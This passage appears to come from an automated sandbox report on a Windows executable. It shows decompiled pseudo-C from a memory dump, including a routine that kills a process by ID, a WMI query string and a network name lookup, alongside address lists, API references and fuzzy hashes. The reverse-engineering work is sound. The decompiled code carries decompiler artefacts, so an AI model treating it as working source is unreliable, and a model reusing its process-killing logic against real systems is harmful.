																								_t319 = E004BAE04(_t364, _t432, _t457, _v712, 1, 0x406818, 0x7f,  &_v536,  *_t178, 1);
																								_t479 = _t479 + 0x1c;
																								__eflags = _t319;
																								_t320 = _v712;
																								if(_t319 == 0) {
																									_t457[1] = _t320;
																								} else {
																									do {
																										 *(_t465 + _t320 * 2 - 0x20c) =  *(_t465 + _t320 * 2 - 0x20c) & 0x000001ff;
																										_t320 = _t320 + 1;
																										__eflags = _t320 - 0x7f;
																									} while (_t320 < 0x7f);
																									_t323 = E0049FC6A( &_v536,  *0x4eb1bc, 0xfe);
																									_t479 = _t479 + 0xc;
																									__eflags = _t323;
																									_t457[1] = 0 | _t323 == 0x00000000;
																								}
																								_t193 = _t432 + 8; // 0x8b56ff8b
																								 *_t457 =  *_t193;
																							}
																							 *(_t432 + 0x18) = _t457[1];
																							goto L121;
																						}
																						__eflags = _t425;
																						if(_t425 != 0) {
																							 *_t457 =  *(_t457 + _t425 * 8);
																							_t457[1] =  *(_t457 + 4 + _t425 * 8);
																							 *(_t457 + _t425 * 8) = _v728;
																							 *(_t457 + 4 + _t425 * 8) = _v716;
																						}
																						goto L110;
																					}
																					L121:
																					_t297 = _t364 * 0xc;
																					_t200 = _t297 + 0x406758; // 0x42dfbc
																					 *0x4f02b4(_t432);
																					_t299 =  *((intOrPtr*)( *_t200))();
																					_t396 = _v732;
																					__eflags = _t299;
																					if(_t299 == 0) {
																						__eflags = _t396 - 0x4eb288;
																						if(_t396 != 0x4eb288) {
																							_t456 = _t364 + _t364;
																							__eflags = _t456;
																							asm("lock xadd [eax], ecx");
																							if(_t456 != 0) {
																								goto L126;
																							} else {
																								_t218 = _t456 * 8; // 0x30ff068b
																								E004B2FCF( *((intOrPtr*)(_t432 + _t218 + 0x28)));
																								_t221 = _t456 * 8; // 0x30ff0c46
																								E004B2FCF( *((intOrPtr*)(_t432 + _t221 + 0x24)));
																								_t224 = _t364 * 4; // 0xbf9d
																								E004B2FCF( *((intOrPtr*)(_t432 + _t224 + 0xa0)));
																								_t399 = _v712;
																								 *((intOrPtr*)(_v724 + _t432)) = _t399;
																								 *(_t432 + 0xa0 + _t364 * 4) = _t399;
																							}
																						}
																						_t397 = _v740;
																						 *_t397 = 1;
																						 *((intOrPtr*)(_t432 + 0x28 + (_t364 + _t364) * 8)) = _t397;
																					} else {
																						 *(_v724 + _t432) = _t396;
																						_t205 = _t364 * 4; // 0xbf9d
																						E004B2FCF( *((intOrPtr*)(_t432 + _t205 + 0xa0)));
																						 *(_t432 + 0xa0 + _t364 * 4) = _v744;
																						E004B2FCF(_v740);
																						 *(_t432 + 8) = _v748;
																						goto L84;
																					}
																					goto L85;
																				}
																			}
																		} else {
																			goto L85;
																		}
																		goto L130;
																	}
																	asm("sbb eax, eax");
																	_t282 = _t281 | 0x00000001;
																	__eflags = _t282;
																	goto L93;
																} else {
																	L84:
																	__eflags = 0;
																	L85:
																	__eflags = _v16 ^ _t465;
																	return E0049CE1D(_v16 ^ _t465);
																}
															} else {
																_t330 = _t447 + _t447;
																__eflags = _t330 - 0x106;
																if(_t330 >= 0x106) {
																	E0049D41D();
																	goto L82;
																} else {
																	 *((short*)(_t463 + _t330 - 0x10c)) = 0;
																	_t332 =  &_v276;
																	_push(_t332);
																	_push(_v460);
																	_push(_t428);
																	L83();
																	_t472 = _t475 + 0xc;
																	__eflags = _t332;
																	_t268 = _v452;
																	if(_t332 != 0) {
																		_t268 = _t268 + 1;
																		_v452 = _t268;
																	}
																	L54:
																	_t444 = _t359 + _t447 * 2;
																	_t370 = 0;
																	__eflags =  *_t444;
																	if( *_t444 == 0) {
																		L56:
																		__eflags = _t268;
																		L77:
																		if(__eflags != 0) {
																			goto L79;
																		} else {
																		}
																		goto L80;
																	} else {
																		_t444 = _t444 + 2;
																		__eflags =  *_t444;
																		if( *_t444 != 0) {
																			continue;
																		} else {
																			goto L56;
																		}
																	}
																}
															}
														}
													} else {
														_t333 = 0x3b;
														__eflags =  *_t359 - _t333;
														if( *_t359 != _t333) {
															break;
														} else {
															goto L48;
														}
													}
												}
											}
											goto L130;
										}
										goto L80;
									}
								}
							}
						}
					} else {
						__eflags = _t444;
						if(_t444 != 0) {
							_push(_t444);
							_push(_t249);
							_push(_t428);
							L83();
						}
						L80:
						__eflags = _v12 ^ _t463;
						return E0049CE1D(_v12 ^ _t463);
					}
				}
				L130:
			}

0x004b2407
0x004b240a
0x004b240c
0x004b240f
0x004b2410
0x004b2419
0x004b241c
0x004b2421
0x004b2423
0x004b2425
0x004b2428
0x004b2541
0x004b2546
0x004b242e
0x004b242e
0x004b242f
0x004b2432
0x004b2435
0x004b2437
0x004b243a
0x004b243a
0x004b243d
0x004b243f
0x004b2442
0x004b2447
0x004b2455
0x004b245f
0x004b2462
0x004b2465
0x004b2465
0x004b2470
0x004b2475
0x004b247a
0x00000000
0x004b2480
0x004b2483
0x004b2483
0x004b2486
0x004b2488
0x004b248b
0x004b248b
0x004b248b
0x004b248d
0x004b248d
0x004b248d
0x004b2493
0x00000000
0x00000000
0x004b2498
0x004b24af
0x004b24af
0x004b249a
0x004b249a
0x004b24a2
0x00000000
0x004b24a4
0x004b24a4
0x004b24a7
0x004b24ad
0x00000000
0x00000000
0x00000000
0x00000000
0x004b24ad
0x004b24a2
0x004b24b8
0x004b24bd
0x004b24bf
0x004b24c4
0x004b24c7
0x004b24ca
0x004b24cd
0x004b24d0
0x004b24d2
0x004b24d7
0x004b24e1
0x004b24e9
0x004b24f1
0x00000000
0x004b24f7
0x004b24fb
0x004b2548
0x004b254e
0x004b2551
0x004b2554
0x004b2556
0x004b255a
0x004b255e
0x004b2560
0x004b2563
0x004b2568
0x004b255e
0x004b2569
0x004b256c
0x004b256e
0x004b2570
0x004b2574
0x004b2575
0x004b2577
0x004b257a
0x004b257f
0x004b2575
0x004b2582
0x004b2585
0x004b2588
0x004b258b
0x004b258e
0x004b258e
0x004b24fd
0x004b24fd
0x004b2500
0x004b2503
0x004b2505
0x004b2509
0x004b250d
0x004b250f
0x004b2512
0x004b2517
0x004b250d
0x004b2518
0x004b251d
0x004b251f
0x004b2524
0x004b2526
0x004b2529
0x004b252e
0x004b2524
0x004b252f
0x004b2533
0x004b2536
0x004b253a
0x004b253d
0x004b253d
0x00000000
0x004b2540
0x00000000
0x004b24f1
0x004b24b3
0x004b24b5
0x004b24b5
0x00000000
0x004b24b5
0x004b2595
0x004b2596
0x004b2597
0x004b2598
0x004b2599
0x004b259a
0x004b259f
0x004b25a2
0x004b25a3
0x004b25a5
0x004b25ab
0x004b25b2
0x004b25b5
0x004b25b8
0x004b25b9
0x004b25ba
0x004b25bd
0x004b25be
0x004b25c1
0x004b25c7
0x004b25c9
0x004b25ee
0x004b25f8
0x004b25fe
0x004b2600
0x004b2606
0x004b2608
0x004b285b
0x004b285c
0x00000000
0x004b260e
0x004b260e
0x004b2612
0x004b2779
0x004b2779
0x004b2790
0x004b2795
0x004b2798
0x004b279a
0x004b27a0
0x004b27a0
0x004b27a2
0x004b27a2
0x004b27a5
0x004b27a7
0x004b27ad
0x004b27ad
0x004b27af
0x004b2836
0x004b2836
0x004b27b5
0x004b27b5
0x004b27b7
0x004b27bd
0x004b27c0
0x004b27c3
0x004b27c9
0x00000000
0x00000000
0x004b27cb
0x004b27cf
0x004b27f8
0x004b27f8
0x004b27fa
0x004b27d1
0x004b27d1
0x004b27d5
0x004b27d9
0x004b27e0
0x004b27e6
0x00000000
0x004b27e8
0x004b27e8
0x004b27eb
0x004b27ee
0x004b27f6
0x00000000
0x00000000
0x00000000
0x00000000
0x004b27f6
0x004b27e6
0x004b2805
0x004b2805
0x004b2807
0x004b2835
0x004b2835
0x00000000
0x004b2809
0x004b2809
0x004b280f
0x004b2810
0x004b2811
0x004b2812
0x004b2817
0x004b281d
0x004b2820
0x004b2822
0x004b2829
0x004b282b
0x004b282d
0x004b2824
0x004b2824
0x004b2825
0x00000000
0x004b2825
0x004b2822
0x00000000
0x004b2807
0x004b27fe
0x004b2800
0x004b2803
0x004b2803
0x00000000
0x004b2803
0x004b283c
0x004b283c
0x004b283d
0x004b2840
0x004b2846
0x004b2846
0x004b284f
0x004b2851
0x00000000
0x004b2853
0x004b2853
0x00000000
0x004b2853
0x004b2851
0x00000000
0x004b2618
0x004b2618
0x004b261d
0x00000000
0x004b2623
0x004b2623
0x004b2628
0x00000000
0x004b262e
0x004b262e
0x004b2634
0x004b2639
0x004b263b
0x004b2642
0x004b2643
0x004b2645
0x00000000
0x00000000
0x004b264b
0x004b264b
0x004b264f
0x004b2655
0x00000000
0x004b265b
0x004b265d
0x004b265e
0x004b2661
0x00000000
0x004b2667
0x004b2667
0x004b266d
0x004b2672
0x004b267c
0x004b2680
0x004b2685
0x004b2688
0x004b268a
0x00000000
0x004b268c
0x004b268c
0x004b268e
0x004b2691
0x004b2691
0x004b2694
0x004b2697
0x004b2697
0x004b26a2
0x004b26a4
0x004b26a6
0x00000000
0x00000000
0x004b26a6
0x00000000
0x004b26a8
0x004b26a8
0x004b26ae
0x004b26b1
0x004b26b1
0x004b26bf
0x004b26c8
0x004b26cd
0x004b26d3
0x004b26d6
0x004b26d7
0x004b26d9
0x004b26e7
0x004b26e7
0x004b26ee
0x004b274f
0x00000000
0x004b26f0
0x004b26f0
0x004b26fe
0x004b2703
0x004b2706
0x004b2708
0x004b2878
0x004b287a
0x004b287b
0x004b287c
0x004b287d
0x004b287e
0x004b287f
0x004b2884
0x004b2887
0x004b2888
0x004b2890
0x004b2897
0x004b289a
0x004b289b
0x004b289e
0x004b28a2
0x004b28a3
0x004b28a6
0x004b28b6
0x004b28c2
0x004b28d9
0x004b28de
0x004b28e1
0x004b28e3
0x004b28f8
0x004b28fb
0x004b28fb
0x004b28fe
0x004b2904
0x004b290d
0x004b290f
0x004b2912
0x004b2919
0x004b291c
0x004b2922
0x00000000
0x00000000
0x004b2924
0x004b2928
0x004b2951
0x004b2951
0x004b292a
0x004b292a
0x004b292e
0x004b2932
0x004b2939
0x004b293f
0x00000000
0x004b2941
0x004b2941
0x004b2944
0x004b2947
0x004b294f
0x00000000
0x00000000
0x00000000
0x00000000
0x004b294f
0x004b293f
0x004b295e
0x004b295e
0x004b2960
0x004b2966
0x004b296c
0x004b296f
0x004b296f
0x004b2972
0x004b2975
0x004b2975
0x004b2985
0x004b2993
0x004b2998
0x004b299f
0x004b29a1
0x00000000
0x004b29a7
0x004b29ad
0x004b29b3
0x004b29ba
0x004b29c0
0x004b29c3
0x004b29c9
0x004b29d6
0x004b29dd
0x004b29e2
0x004b29e5
0x004b29e7
0x004b2c40
0x004b2c46
0x004b2c47
0x004b2c48
0x004b2c49
0x004b2c4a
0x004b2c4b
0x004b2c50
0x004b2c51
0x004b2c56
0x004b29ed
0x004b29ed
0x004b29fb
0x004b29fe
0x004b2a19
0x004b2a20
0x004b2a26
0x004b2a2c
0x004b2a00
0x004b2a00
0x004b2a08
0x00000000
0x004b2a0a
0x004b2a0a
0x004b2a10
0x004b2a10
0x004b2a08
0x004b2a33
0x004b2a36
0x004b2b53
0x004b2b56
0x004b2b63
0x004b2b66
0x004b2b6e
0x004b2b6e
0x004b2b58
0x004b2b5e
0x004b2b5e
0x004b2a3c
0x004b2a3c
0x004b2a42
0x004b2a4a
0x004b2a4c
0x004b2a4f
0x004b2a58
0x004b2a61
0x004b2a67
0x004b2a67
0x004b2a6a
0x004b2a6c
0x00000000
0x00000000
0x004b2a6e
0x004b2a74
0x004b2a75
0x004b2a80
0x004b2a88
0x004b2a90
0x004b2a93
0x004b2a96
0x004b2a9c
0x004b2aa2
0x004b2aa8
0x004b2aae
0x004b2ab1
0x00000000
0x00000000
0x004b2ab3
0x004b2ad8
0x004b2ad8
0x004b2adb
0x004b2adf
0x004b2af8
0x004b2afd
0x004b2b00
0x004b2b02
0x004b2b08
0x004b2b43
0x004b2b0a
0x004b2b0a
0x004b2b0f
0x004b2b17
0x004b2b18
0x004b2b18
0x004b2b2f
0x004b2b36
0x004b2b39
0x004b2b3e
0x004b2b3e
0x004b2b46
0x004b2b49
0x004b2b49
0x004b2b4e
0x00000000
0x004b2b4e
0x004b2ab5
0x004b2ab7
0x004b2abc
0x004b2ac2
0x004b2acb
0x004b2ad4
0x004b2ad4
0x00000000
0x004b2ab7
0x004b2b71
0x004b2b71
0x004b2b75
0x004b2b7d
0x004b2b83
0x004b2b86
0x004b2b8c
0x004b2b8e
0x004b2bce
0x004b2bd4
0x004b2bdb
0x004b2bdb
0x004b2be1
0x004b2be5
0x00000000
0x004b2be7
0x004b2be7
0x004b2beb
0x004b2bf0
0x004b2bf4
0x004b2bf9
0x004b2c00
0x004b2c0e
0x004b2c14
0x004b2c17
0x004b2c17
0x004b2be5
0x004b2c26
0x004b2c2e
0x004b2c37
0x004b2b90
0x004b2b96
0x004b2b99
0x004b2ba0
0x004b2bb2
0x004b2bb9
0x004b2bc6
0x00000000
0x004b2bc6
0x00000000
0x004b2b8e
0x004b29e7
0x004b2962
0x00000000
0x004b2962
0x00000000
0x004b2960
0x004b2959
0x004b295b
0x004b295b
0x00000000
0x004b28e5
0x004b28e5
0x004b28e5
0x004b28e7
0x004b28ec
0x004b28f7
0x004b28f7
0x004b270e
0x004b270e
0x004b2711
0x004b2716
0x004b2873
0x00000000
0x004b271c
0x004b271e
0x004b2726
0x004b272c
0x004b272d
0x004b2733
0x004b2734
0x004b2739
0x004b273c
0x004b273e
0x004b2744
0x004b2746
0x004b2747
0x004b2747
0x004b2755
0x004b2755
0x004b2758
0x004b275a
0x004b275d
0x004b276b
0x004b276b
0x004b2855
0x004b2855
0x00000000
0x004b2857
0x004b2857
0x00000000
0x004b275f
0x004b275f
0x004b2762
0x004b2765
0x00000000
0x00000000
0x00000000
0x00000000
0x004b2765
0x004b275d
0x004b2716
0x004b2708
0x004b26db
0x004b26dd
0x004b26de
0x004b26e1
0x00000000
0x00000000
0x00000000
0x00000000
0x004b26e1
0x004b26d9
0x004b2661
0x00000000
0x004b2655
0x00000000
0x004b2772
0x004b2628
0x004b261d
0x004b2612
0x004b25cb
0x004b25cb
0x004b25cd
0x004b25cf
0x004b25d0
0x004b25d1
0x004b25d2
0x004b25d7
0x004b2862
0x004b2867
0x004b2872
0x004b2872
0x004b25c9
0x00000000

APIs

Part of subcall function 004B3009: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BAEA8,00000000,?,004AB16D,?,00000008,?,004AD0C1,?,?,00000000), ref: 004B303B

_free.LIBCMT ref: 004B2512
_free.LIBCMT ref: 004B2529
_free.LIBCMT ref: 004B2548
_free.LIBCMT ref: 004B2563
_free.LIBCMT ref: 004B257A

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 6590344c140a246e0338c9ca577d838612265a185cddcabaea799a6be5ce2334
Instruction ID: f6034767129b596bef2b2a787979fe0e688cef0b096ecb0ecbda55070cb1135e
Opcode Fuzzy Hash: 6590344c140a246e0338c9ca577d838612265a185cddcabaea799a6be5ce2334
Instruction Fuzzy Hash: BF51D731A00704AFDB21DF6ACD41BAA77F4EF48724B14456FE809D7250E779DA018B64

Uniqueness

Uniqueness Score: -1.00%

Function 00443CE6, Relevance: 7.5, APIs: 5, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00443CE6(intOrPtr __ecx, long __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t19;
				long _t24;
				long _t29;
				void* _t30;
				void* _t31;

				_t24 = __edx;
				_t19 = __ecx;
				_push(8);
				E0049D90B(0x4c567f, __edi, __esi);
				_t29 = _t24;
				_t18 = _t19;
				 *((intOrPtr*)(_t31 - 0x14)) = _t19;
				 *(_t31 - 0x10) = 0;
				if(_t29 == GetCurrentProcessId() || _t29 == 0) {
					E0042CE52(_t18, 0x40f4ec);
					 *(_t31 - 4) = 0;
				} else {
					_t30 = OpenProcess(1, 0, _t29);
					TerminateProcess(_t30, 0); // executed
					CloseHandle(_t30);
					_t22 =  ==  ? 0x40f4ec : "1";
					E0042CE52(_t18,  ==  ? 0x40f4ec : "1");
					 *(_t31 - 4) =  *(_t31 - 4) & 0x00000000;
				}
				 *(_t31 - 0x10) = 1;
				return E0049D8D4(_t18);
			}

0x00443ce6
0x00443ce6
0x00443ce6
0x00443ced
0x00443cf2
0x00443cf4
0x00443cf6
0x00443cfb
0x00443d06
0x00443d4d
0x00443d52
0x00443d0c
0x00443d16
0x00443d1a
0x00443d23
0x00443d35
0x00443d3b
0x00443d40
0x00443d40
0x00443d55
0x00443d63

APIs

__EH_prolog3.LIBCMT ref: 00443CED
GetCurrentProcessId.KERNEL32(00000008,0043BB28,exit,00000000), ref: 00443CFE
OpenProcess.KERNEL32(00000001,00000000), ref: 00443D10
TerminateProcess.KERNEL32(00000000,00000000), ref: 00443D1A
CloseHandle.KERNEL32(00000000), ref: 00443D23

Part of subcall function 0042CE52: _strlen.LIBCMT ref: 0042CE69

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Process$CloseCurrentH_prolog3HandleOpenTerminate_strlen
String ID:
API String ID: 844737864-0
Opcode ID: e36277597b82c71df0c3f9b3a08bae327726754cd7cc6ffb26e8325413f558be
Instruction ID: 20c5e3e63a40f2b26eda2ac8471f66f7aebff9c656438ca6f54d7a7d07fdfe22
Opcode Fuzzy Hash: e36277597b82c71df0c3f9b3a08bae327726754cd7cc6ffb26e8325413f558be
Instruction Fuzzy Hash: 36F0D671E0021097DB206F664DC976EB9A5AF95B41F11043EF816E7392CBBC4D008B5C

Uniqueness

Uniqueness Score: -1.00%

Function 004347BE, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E004347BE(intOrPtr* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t64;
				intOrPtr _t66;
				void* _t71;
				intOrPtr _t73;
				intOrPtr _t81;
				void* _t84;
				intOrPtr _t85;
				void* _t88;
				intOrPtr* _t89;
				intOrPtr* _t90;
				intOrPtr _t93;
				intOrPtr _t95;
				intOrPtr _t104;
				intOrPtr _t105;
				signed int _t106;
				intOrPtr _t111;
				intOrPtr _t112;
				signed int _t113;
				void* _t116;
				intOrPtr _t118;
				intOrPtr _t120;

				_t104 = __edx;
				_t90 = __ecx;
				_push(0x2c);
				E0049D976(0x4c5c4a, __edi, __esi);
				 *((intOrPtr*)(_t116 - 0x24)) = _t104;
				_t89 = _t90;
				 *((intOrPtr*)(_t116 - 0x20)) = _t89;
				 *(_t116 - 0x18) = 0;
				_t105 = E004A5AF0(_t104);
				 *((intOrPtr*)(_t116 - 0x1c)) = _t105;
				_t93 =  *((intOrPtr*)( *_t89 + 4));
				_t111 =  *((intOrPtr*)(_t93 + _t89 + 0x20));
				_t64 =  *((intOrPtr*)(_t93 + _t89 + 0x24));
				_t118 = _t64;
				if(_t118 < 0) {
					L7:
					asm("xorps xmm0, xmm0");
					asm("movlpd [ebp-0x30], xmm0");
					_t10 = _t116 - 0x2c; // 0x2c
					_t64 =  *_t10;
					_t112 =  *((intOrPtr*)(_t116 - 0x30));
				} else {
					if(_t118 > 0) {
						L6:
						_t112 = _t111 - _t105;
						asm("sbb eax, edi");
					} else {
						if(_t111 <= 0) {
							goto L7;
						} else {
							_t120 = _t64;
							if(_t120 < 0) {
								goto L7;
							} else {
								if(_t120 > 0) {
									goto L6;
								} else {
									_t121 = _t111 - _t105;
									if(_t111 <= _t105) {
										goto L7;
									} else {
										goto L6;
									}
								}
							}
						}
					}
				}
				 *((intOrPtr*)(_t116 - 0x14)) = _t64;
				_push(_t89);
				E0042ED41(_t116 - 0x38, 0, _t112, _t121);
				 *(_t116 - 4) = 0;
				if( *((char*)(_t116 - 0x34)) != 0) {
					 *(_t116 - 4) = 1;
					_t95 =  *_t89;
					_t66 =  *((intOrPtr*)(_t95 + 4));
					__eflags = ( *(_t66 + _t89 + 0x14) & 0x000001c0) - 0x40;
					if(( *(_t66 + _t89 + 0x14) & 0x000001c0) == 0x40) {
						L18:
						_t71 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t95 + 4)) + _t89 + 0x38)))) + 0x24))( *((intOrPtr*)(_t116 - 0x24)),  *((intOrPtr*)(_t116 - 0x1c)), 0);
						__eflags = _t71 -  *((intOrPtr*)(_t116 - 0x1c));
						if(_t71 !=  *((intOrPtr*)(_t116 - 0x1c))) {
							goto L27;
						} else {
							__eflags = _t105;
							if(_t105 != 0) {
								goto L27;
							} else {
								_t37 = _t116 - 0x14; // 0x482130
								_t81 =  *_t37;
								while(1) {
									__eflags = _t81;
									if(__eflags < 0) {
										break;
									}
									if(__eflags > 0) {
										L24:
										_t84 = E0042FC42( *((intOrPtr*)( *((intOrPtr*)( *_t89 + 4)) + _t89 + 0x38)),  *( *((intOrPtr*)( *_t89 + 4)) + _t89 + 0x40) & 0x000000ff);
										__eflags = _t84 - 0xffffffff;
										if(_t84 == 0xffffffff) {
											goto L27;
										} else {
											_t112 = _t112 + 0xffffffff;
											 *((intOrPtr*)(_t116 - 0x30)) = _t112;
											_t44 = _t116 - 0x14; // 0x482130
											_t81 =  *_t44;
											asm("adc eax, 0xffffffff");
											 *((intOrPtr*)(_t116 - 0x14)) = _t81;
											 *((intOrPtr*)(_t116 - 0x2c)) = _t81;
											continue;
										}
									} else {
										__eflags = _t112;
										if(_t112 <= 0) {
											break;
										} else {
											goto L24;
										}
									}
									goto L28;
								}
								_t113 = 4;
								_t106 = 0;
							}
						}
					} else {
						_t20 = _t116 - 0x14; // 0x482130
						_t85 =  *_t20;
						while(1) {
							__eflags = _t85;
							if(__eflags < 0) {
								break;
							}
							if(__eflags > 0) {
								L15:
								_t88 = E0042FC42( *((intOrPtr*)( *((intOrPtr*)( *_t89 + 4)) + _t89 + 0x38)),  *( *((intOrPtr*)( *_t89 + 4)) + _t89 + 0x40) & 0x000000ff);
								__eflags = _t88 - 0xffffffff;
								if(_t88 == 0xffffffff) {
									L27:
									_t113 = 4;
									_t106 = _t113;
									 *(_t116 - 0x18) = _t106;
								} else {
									_t112 = _t112 + 0xffffffff;
									 *((intOrPtr*)(_t116 - 0x30)) = _t112;
									_t27 = _t116 - 0x14; // 0x482130
									_t85 =  *_t27;
									asm("adc eax, 0xffffffff");
									 *((intOrPtr*)(_t116 - 0x14)) = _t85;
									 *((intOrPtr*)(_t116 - 0x2c)) = _t85;
									continue;
								}
							} else {
								__eflags = _t112;
								if(_t112 <= 0) {
									break;
								} else {
									goto L15;
								}
							}
							goto L28;
						}
						_t95 =  *_t89;
						goto L18;
					}
					L28:
					_t73 =  *((intOrPtr*)( *_t89 + 4));
					 *((intOrPtr*)(_t73 + _t89 + 0x20)) = 0;
					 *((intOrPtr*)(_t73 + _t89 + 0x24)) = 0;
					 *(_t116 - 4) = 0;
				} else {
					_t113 = 4;
					_t106 = _t113;
				}
				_t114 =  !=  ? 0 : _t113;
				_t115 = ( !=  ? 0 : _t113) |  *( *((intOrPtr*)( *_t89 + 4)) + _t89 + 0xc) | _t106;
				E0042B73A( *((intOrPtr*)( *_t89 + 4)) + _t89, 0, 0, ( !=  ? 0 : _t113) |  *( *((intOrPtr*)( *_t89 + 4)) + _t89 + 0xc) | _t106, ( !=  ? 0 : _t113) |  *( *((intOrPtr*)( *_t89 + 4)) + _t89 + 0xc) | _t106, 0);
				 *(_t116 - 4) =  *(_t116 - 4) | 0xffffffff;
				E0042ECDE( *(_t116 - 4));
				return E0049D8D4(_t89);
			}

0x004347be
0x004347be
0x004347be
0x004347c5
0x004347ca
0x004347cd
0x004347cf
0x004347d6
0x004347e0
0x004347e2
0x004347e7
0x004347ea
0x004347ee
0x004347f2
0x004347f4
0x0043480c
0x0043480c
0x0043480f
0x00434814
0x00434814
0x00434817
0x004347f6
0x004347f6
0x00434806
0x00434806
0x00434808
0x004347f8
0x004347fa
0x00000000
0x004347fc
0x004347fc
0x004347fe
0x00000000
0x00434800
0x00434800
0x00000000
0x00434802
0x00434802
0x00434804
0x00000000
0x00000000
0x00000000
0x00000000
0x00434804
0x00434800
0x004347fe
0x004347fa
0x004347f6
0x0043481a
0x0043481d
0x00434821
0x00434826
0x0043482d
0x00434839
0x0043483d
0x0043483f
0x0043484b
0x0043484e
0x0043488c
0x0043489c
0x0043489f
0x004348a2
0x00000000
0x004348a4
0x004348a4
0x004348a6
0x00000000
0x004348a8
0x004348a8
0x004348a8
0x004348ab
0x004348ab
0x004348ad
0x00000000
0x00000000
0x004348af
0x004348b5
0x004348c4
0x004348c9
0x004348cc
0x00000000
0x004348ce
0x004348ce
0x004348d1
0x004348d4
0x004348d4
0x004348d7
0x004348da
0x004348dd
0x00000000
0x004348dd
0x004348b1
0x004348b1
0x004348b3
0x00000000
0x00000000
0x00000000
0x00000000
0x004348b3
0x00000000
0x004348af
0x004348e4
0x004348e5
0x004348e5
0x004348a6
0x00434850
0x00434850
0x00434850
0x00434853
0x00434853
0x00434855
0x00000000
0x00000000
0x00434857
0x0043485d
0x0043486c
0x00434871
0x00434874
0x004348e9
0x004348eb
0x004348ec
0x004348ee
0x00434876
0x00434876
0x00434879
0x0043487c
0x0043487c
0x0043487f
0x00434882
0x00434885
0x00000000
0x00434885
0x00434859
0x00434859
0x0043485b
0x00000000
0x00000000
0x00000000
0x00000000
0x0043485b
0x00000000
0x00434857
0x0043488a
0x00000000
0x0043488a
0x004348f1
0x004348f3
0x004348f6
0x004348fa
0x004348fe
0x0043482f
0x00434831
0x00434832
0x00434832
0x0043494f
0x00434952
0x00434955
0x0043495a
0x00434961
0x0043496d

APIs

__EH_prolog3_catch.LIBCMT ref: 004347C5
_strlen.LIBCMT ref: 004347DA

Strings

0!H, xrefs: 004348A8, 004348D4, 00434850, 0043487C
,dKH, xrefs: 00434814

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_catch_strlen
String ID: ,dKH$0!H
API String ID: 3133806014-1186801689
Opcode ID: fa4764ebac466e7d30374638d86a764126c7a54d0c5442967fe89407a022579b
Instruction ID: 5ce88bcbcc5bc754847acfaa742eaa4041ee730367738a5133e28c2340b2b00f
Opcode Fuzzy Hash: fa4764ebac466e7d30374638d86a764126c7a54d0c5442967fe89407a022579b
Instruction Fuzzy Hash: E451AE78E005549FCB18EF69C8809EDBBB1BF8C314F24525AE825EB391D735AD42CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043F5AD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(ROOT\CIMV2), ref: 0043F5FC
SysFreeString.OLEAUT32(00000000), ref: 0043F621
SysFreeString.OLEAUT32(00000000), ref: 0043F63C

Strings

ROOT\CIMV2, xrefs: 0043F5F7

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: String$Free$Alloc
String ID: ROOT\CIMV2
API String ID: 986138563-2786109267
Opcode ID: f50879efc72456f3417d35471ad7396918315885eea346d09e3919b43a4444a4
Instruction ID: 575ec65e1ed88dcb6f0224d6cffea78159b495e06c99076a3ef412c70ffff06e
Opcode Fuzzy Hash: f50879efc72456f3417d35471ad7396918315885eea346d09e3919b43a4444a4
Instruction Fuzzy Hash: 0D218430B40219BFD3106B66DC99F277FACFF4A799F110135F506DA1A1DA67B8068A38

Uniqueness

Uniqueness Score: -1.00%

Function 0043EDD8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0043EDD8(void* __ecx, void* __edx, void* __edi, void* __esi) {
				signed int _v8;
				char _v12;
				signed int _t9;
				void* _t22;
				intOrPtr _t25;
				signed int _t27;
				void* _t28;

				_t9 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t9 ^ _t27;
				_t22 = __edx;
				 *0x4ed77c(__ecx, "ntp", 0,  &_v12, __edi, __esi, __ecx, __ecx); // executed
				_t25 = _v12;
				if(_t25 != 0) {
					do {
						if( *((intOrPtr*)(_t25 + 4)) == 2) {
							E0049F570(_t22,  *((intOrPtr*)(_t25 + 0x18)), 0x10);
							_t28 = _t28 + 0xc;
						}
						_t25 =  *((intOrPtr*)(_t25 + 0x1c));
					} while (_t25 != 0);
					_t25 = _v12;
				}
				 *0x4ed798();
				return E0049CE1D(_v8 ^ _t27, _t25);
			}

0x0043eddd
0x0043ede4
0x0043edec
0x0043edf7
0x0043edfd
0x0043ee02
0x0043ee04
0x0043ee08
0x0043ee10
0x0043ee15
0x0043ee15
0x0043ee18
0x0043ee1b
0x0043ee1f
0x0043ee1f
0x0043ee23
0x0043ee38

APIs

getaddrinfo.WS2_32(?,ntp,00000000,?), ref: 0043EDF7
FreeAddrInfoW.WS2_32(?), ref: 0043EE23

Strings

ntp, xrefs: 0043EDF1

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddrFreeInfogetaddrinfo
String ID: ntp
API String ID: 738001165-2791240438
Opcode ID: aa52a9a267d5e993d6b9dafff03cf3db00f07c097d8857e479f64d334cb04577
Instruction ID: 813546253c185ea69f57d150ea22e58f514157f9f190900758148c66b079ed7b
Opcode Fuzzy Hash: aa52a9a267d5e993d6b9dafff03cf3db00f07c097d8857e479f64d334cb04577
